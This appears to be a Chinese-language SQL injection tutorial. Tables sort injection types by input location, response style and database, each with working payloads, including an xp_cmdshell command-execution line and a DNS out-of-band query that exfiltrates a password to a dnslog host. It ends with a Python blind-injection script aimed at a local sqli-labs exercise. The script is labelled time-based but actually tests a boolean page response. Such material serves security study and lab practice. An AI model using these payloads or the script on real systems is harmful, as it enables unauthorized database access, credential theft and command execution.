按照注入位置分类
| 类型 | 触发点 | 示例 |
|---|---|---|
| GET 参数注入 | URL 中 ?id=1、?username=admin |
http://site.com?id=1' AND SLEEP(5)--+ |
| POST 参数注入 | 表单提交、JSON 请求体 | username=admin'--&password=123 |
| Cookie 注入 | Cookie: user_id=1 |
修改为 user_id=1' OR '1'='1 |
| Header 注入 | User-Agent, Referer, X-Forwarded-For |
User-Agent: ' UNION SELECT @@version,2-- |
| 基于报错注入(Error-based) | 强制触发数据库报错,从错误信息中提取数据 | ?id=1' AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT(0x3a,(SELECT database()),0x3a,FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)--+ |
按照回显方式分类
| 类型 | 特点 | 利用条件 | 常见技巧 |
|---|---|---|---|
| 联合查询注入(UNION-based) | 页面返回查询结果(如列表、详情) | ✅ 需知道字段数 ✅ 需字段类型兼容(如都为字符串) | ORDER BY 3-- 猜列数 → UNION SELECT 1,2,database()-- |
| 布尔盲注(Boolean-based) | 页面仅显示"正常"或"错误"两种状态(无数据回显) | ✅ 存在逻辑差异(如 and 1=1 正常 / and 1=2 报错) |
id=1' AND SUBSTRING((SELECT password FROM users LIMIT 1),1,1)='a'-- |
| 时间盲注(Time-based) | 页面响应时间有明显差异(如延时 5 秒) | ✅ 支持 SLEEP() / BENCHMARK() 等延时函数 |
id=1' AND IF(1=1,SLEEP(5),0)-- |
| DNS 外带注入(Out-of-band / DNSlog) | 无法回显且无法延时?利用 DNS 请求外带数据 | ✅ MySQL ≥ 5.55 + LOAD_FILE 或 SELECT ... INTO OUTFILE ✅ MSSQL 支持 xp_dirtree |
SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM users LIMIT 1),'.xxx.dnslog.cn\\abc')) |
按照数据库类型分类
| 数据库 | 关键特性 | 典型 Payload 片段 | 注意事项 |
|---|---|---|---|
| MySQL | 支持 UNION、@@version、SLEEP()、LOAD_FILE() |
UNION SELECT 1,database(),user()-- AND SLEEP(3) |
MySQL 8.0+ 默认禁用 LOAD_FILE;注意 sql_mode 影响报错注入 |
| PostgreSQL | 无 @@version,用 version();支持 pg_sleep() |
UNION SELECT 1,version(),current_user()-- AND (SELECT pg_sleep(3)) |
字符串连接用 ` |
| Microsoft SQL Server | 支持 xp_cmdshell、OPENROWSET、WAITFOR DELAY |
; EXEC xp_cmdshell 'whoami'-- WAITFOR DELAY '0:0:5' |
需高权限;默认关闭 xp_cmdshell |
| Oracle | 没有 LIMIT,用 ROWNUM;表必须来自 dual |
UNION SELECT 1,2,3 FROM dual WHERE ROWNUM=1-- |
所有查询必须含 FROM;注意 PL/SQL 语法 |
盲注演示
首先盲注判断
?id=1' and sleep(2)--+
发现页面存在注点,使用时间盲注脚本进行注入
python
import requests
def inject_database(url):
name = ''
for i in range(1, 20): # 假设数据库名称长度不超过20
low = 48 # '0'
high = 122 # 'z'
middle = (low + high) // 2
while low < high:
payload = "1' and ascii(substr(database(),%d,1))>%d-- " % (i, middle)
params = {"id": payload}
r = requests.get(url, params=params)
# 判断注入是否成功,依据靶场的返回信息
if 'You are in' in r.text: # 只检查包含 "You are in" 的内容,表示成功
low = middle + 1
else:
high = middle
middle = (low + high) // 2
# 只拼接有效字符,跳过空格(ASCII 32)和其他非打印字符
if middle > 32: # 跳过空格和不可打印字符
name += chr(middle)
# 每次获取一个字符后打印当前的数据库名
print(f"Current database name: {name}")
# 重置 low 和 high 的值
low = 48
high = 122
middle = (low + high) // 2
print(f"Final database name: {name}")
if __name__ == "__main__":
url = "http://127.0.0.1/sqlilabs7/Less-8/index.php"
inject_database(url)
